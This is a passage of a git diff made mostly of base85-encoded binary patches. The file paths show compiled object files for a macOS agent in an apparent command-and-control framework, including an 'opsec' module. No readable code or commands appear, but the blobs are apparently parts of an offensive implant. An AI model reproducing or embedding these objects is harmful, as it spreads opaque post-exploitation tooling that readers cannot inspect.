zn%(4iI(cp9+885$j%OH~r5jEOaSdbzxO8(EWzE*CR^mPvR}iA@KpI4LJ>bQ_T9`Q? z1l9Ba%|FdSvOInP{!<&-_C-A1EXC7REc!rU35m7rkUu=J15Vm=8Eb2oo#Ur|caGN% zl}4fafl1{98kaX_cq{a_#jQJPW!pz&lWwkvk8JCWIa%Sr=+4j4hyP|do<2cySP~#`rSSu)*R2_F^l(Vf>~J&HOoHD(F^ z5I6j!l=%sYyOXg}##-iyIB3lA;)-Osg&q8ZF_*Ao6BDJPKQb|qk1;zQ0H?>y5(`j^ z0o0=Ju5+BFN~2VVT;$r+Yl+4-JCnnhvpt(dFSSb1Gp+2Ndt$-`{X8t!+?0~1*EL7a z$p(4sO_uDtuh*4)rI52Z&oT8fa+Z)gYS*m9)7Mz^p&}*dIU(4#M~G+G6we{V(}#Fs zh$p2iNDN|bs!0!zZ-B=)_(YFycv=iqn6DD^R>a5D>sr0d^%&tXV9m8%LJToO3}=q9 zgP7Z8L$0T`#y%}puZ&`^JV4DK;kl=ZSX6T8>xlXlShMtedyhFk z#yh2LF~dH9oMc8mgmrKmYmDTn_nq+}?6cd7Zb$n^jB!bE=y{xf-!oVZBtwkxP{J+k_$`Cky0R&}SnjE7q@s^_zu!EXYMkjPbl^ z{)m(iHTyg!)l93NWiOp;8iD87k)uH`YuvNn>xm#JW2*&0PU85^s7OxDg$w7^ zG<}z*#km8VX?!k()K1}=X?%x4k9XiS|4aF)`1VuAw{ZQtPtiZ-dYXSG|0n4XM*9iZ zO!{3sB0QTJ^(S$z;~h{E0loyR1uh4=fOzkfRCB%oxEOo|&;fJ+UjgOmVE|%8S)qq zDc79Wv8)3~e%pZLcNLKGaR4cw93bUG&M2S1F_`8}0cqY_I+oo87D0Xkh*H(`>sWRj zNdCKlE3 zkL@kE_u2dHR=LaGjr)0f%uYV@P?y;VNVKoenGKov{>>phu8UYS)Y7me-o^P{&aZI( zE9YNwKEU}moM&@?!v7=E)Ao;m^IH3*0`s4F$0o{YyI zH0b?qFl~m$pf`a3k%0itQy>0I>e8klPG9d7xiOnPJ{V>M8Y34fIb+%=Rg2souICOz zUVq~uFV}e*8pG&MX6W~Z!|r;B5bNHM7aid|#JT3a&KLH$Lv>7zG$G!Gu(}ujQo+0- wzc1j2Xb6#XZ5KL1*hlL9uR)9BC{hfAg``SzpDfJBc z#H96A^WY-40;Jm7KWcsJvT|*~dA$2%8H-(6%aE#<##!6T^)xvT6JPaUuj;#2lsv#3 z2fbG?K1R8k5!=Yiz}TA;snt!Nhu9y%sDYbk?0|7X4gm(w5WLIZVEx}H`uD@aksI8* zCDuhwMoV|AMgMW|;OI*^&m9+hrXPVf)b;OKL3j(oK{Afd+>V{4-xcqcYL&BPR-+A{u z$4+c2P1~OG-g)PqpL@=^=bU?=^XIQVy;>lIB5=_o7k8-*k22i2mf;SVR1=-^*u7K^ zxkv_=h3Da&?i?D#7^6R<9i=e`HJ z9-L9=@ucgs^pvr{Uv*0|GlaeedwYzo?=g9{z6jf8g<^7+K6XE;ob2oDZo9A7v$yLZ zqidJPvu#U~h?h~;H>mPxu@Lk+c%2X{#@QPMX<$LEPeNsQ!fhTP5RauFeFgzy(l@83K$zP)}3HV#Bo&j+L{wotr! zZoT9`1U-L;p2T5sdU`*6xLpi5wMa|o4ae}YCE_&E$=2!p&;j2_$JhDmguhymzcFCb zDzD{p;6L;^^gr-fEA=;qE;(Gs^2BLtebRhRiBFvnzEGaONXrde_q8(F^5TkeF(yRw zc!u>xj_bjz>P3oUU|HszK(f|e#F_=J-u*6e=jBiqzKEKVJ4?hqE4L_j{$a|uzB>x} z(QNXZd$IY*7tTw{hYu+4vdLu2y9JRCV|ilA(qmKnji)H@vc%||n0$q5<(#UAQ*)T= zEqF-0^ih`h-9mJm?WL8Jhu39}Uo=O?FIet==_Bwtv+xaGBYv^NZNCZHwD@7@Xvm_& zj~H5hP#xJ}-|j5DS!*^!?EXlxQhTZ@FvJnbd<`t%tae zHKf(_%sdgBs142OV|ti!v5;btR?{i;=Mrd~iXqxGb-NP5huuS#E9IcC(Cg0`7`Emnuxuajqla;~@3 zwX$kT(ZrBL6H~Ot_CfcML$SvXp*P!wd#cRX?V@q23xfI2yN3=c`SHyvdJ^bHt{AXG zw!rYZ9xMDt(THO69fNG3P!y4jQ;1hdE_guoxzUq?`&3^Wptlft1U<;7=J}A<45LrW zjkH`sUVDor&43>0C?a|08P@EPmQTQQO*`td*s+)G@cnn}u;OKd9~7^A#3LX6I1x98 zqWYq0u!ZAi`eE_!%*0;^e)#OL!!|$-@xylq&Zja4PIC>-m~JGUg~#1PL8UNmL%$o} z{u=fVdG@2dBOkW(!xoBLgK@!SU*UejsZ8EVIt`ncqI1#s_CJKE4`8e)s%l}Nt?7UR^EJ@gn|i%{cC1+(>ruB+^_3CtCe?StGvMcVXHO3y-TZ(H#=icj!URWWDM&KLeV;A1HQk?8! zs>%qv&OWO8RLD^7b|OwxQ}Vo{nSH~mHGJdfu{`(GZZnqY=X26eYc_I+>MMY*k$TnF zikK083~{^*aU|Os@J{noAU64!->JAaYTqqws>lW0xS<>-s)%W@p$Re&J zyBqH$Q^s*6pGnslGqwfsoro>rcOkx}ZsS+3_d&Z0@ipbY$}sl|t*MgcKHxs8)#ryR z?RdW-KU`4=sMy1FUeV0@*W%^5GT-+gc9idHss8QDi$)%`nYr7)SQO#AOb>P<&agjd zAU_cAV7uz8M=U&w7PkR*z`g>=)B4~`Q13u&f}lAeL*tdkp1!TfF?{Rk9k88f4ba21 z;jPpU)PnF<^qIHN2e;O*=|2dbH&c3twQtdyIhFi=stJk>dXw4nG&5JU_|6>ZlbH{u zPkUU!Wo&;j+rJq34ZCTMG1zFv*RWZ2BlrQ=H6~M`lZ07)Lot}eFw0BTHuzK}2Bkp=$Om27#dHQRt z8Rb0n8;S`&+w~XG#}nwERL=?Yb6T$xg^ngYk*J|F#Q8+x=_t;0PViqw-@y6VJBWNB z8oooH4$Tvb-QY!h^%I4n$BlkKG}Q9bsDm2JgKygOGXvG~5%j3D$e-6?%a0bjpCCW$ z5N9J_OyOXrA5qkMf(P(D&UJ$`=i@KnJo4k|#G)6C4%a*Oh5Zr5@qvLn!EXk7ntjko zHoTl---u23Mpp(~=-b&qU6Jnw@(;f|=yHG3;vv+D7xUkV{iy=$h~Fr5139}8kZgNy z3UuJi<1!R`Kk`kNdl=*=lk&qASZk_v@`q%jM}sY|VQy=#hA$J%4Ui{Y=vf;z)MCYV zN}6hNwaS`HGWI`&{bC}K7W)WnAm1KI@$F60i#Sl82F7Rf7DMmQ^;*+X(p|r_vII3= zaYIREDQeuQlve8d98K?iF6Y_7fxcmIW;f-r&(zRanRvNR7lj0VFM__OrW3Wa z2hXmFV09MxZl-U`LO;oL%A-u{dt$y6%;sN&>D^h@zZ#nb zUGGUSCq6kie9#p!pJERE6w_T;+)V3#Ww8|eIY6fM@4$%=e^sq`lmof}v4>QZ0j>m$ z06|i1J1OC&80>`++s;e4=@cA?-m0~L*n_G%;4k49kQb{+9uPl~R~-i=eE~rHOQY&u z9&h0BRe%nRkHZP#KM!cm4~QmIb%e(s=J966s{zTLwGwVB;PEd|7bG8Lcmj~@2{7zn zSi>-f;RVzi@jb)vVTP>?oeaM~P)z?AZev&th^4M7WBd$)u?qMJhL1Ds1tfnLF@6S4 z5Z|*5dl}x%a1p~ZP)>aK4l-dgL+T$i9>Y2le1>5w!`m3<0ImidKztL>kNF`wua%*j zVHrcgFpBw!FT!w;p`T$ZLpQ@RhJs-f!lpdKL56;Ytqk1^%NPoVQP_*uc@c(#4E+pS z8M+ykF$6H>@@&s9IKCjyc7Azmd7ka0BZA=5^%ayZz-?XcF#a|Vi~%k{3?irpx?X3x zRrlkB!^c6Ue@1u;KfW`?0tDUqf7CCaV=3Ag$nl`G*^U%Qp*Rv(}~LUgNd zbuquyXXZ2A>YJ1&#BcS%_nF`7JN1lPeXgHzt8b4pZuJ?cGWA*eY6a`J_9^^^V$!XB zvz7U+eXx}2*1oizacdvh&ivNC^E<|^eXfjgYu}n?9PPur9$|eEK)U{foBa1v;^SI} zn{dicx_-(0OcwhwMs(}?7%wTP*a9RKr+Q4qUzvsfY?i$6bas0l>M?rTJ#9TbZTn2T zr@d`g3M$Fo?|b$dUA-v+Nz~*|VoCONZVNM+EyU#Q@fcl(R7}Kn3*Wi-{u#>s^iNf9 z`#ul;ZJS~PtV$oSFmoD0Iy^U-V{Lt&&i2mxI=fBj2fc=Tk=Ay$Nz9b8kfb9!jjog_ zEzIOK5vax#9qp-HFl^@o4|Jr;S*R4WFgZ(?Az4kDg><*Kdp*7Ty4z>8^my*?X$MZR sk#DBN-VHULofwwN_O4%NV#L(e-QC``OLX*hcCR;|>&)jZ=CfM-8yi;#Pyhe` literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o new file mode 100644 index 0000000000000000000000000000000000000000..79d1c7b8d5d4fc913fcdace02dc8775b823d0d44 GIT binary patch literal 1888 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 InS`ISj~ptWlZ}|ROvI=@s?|ZwMCkR_)dc+k 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 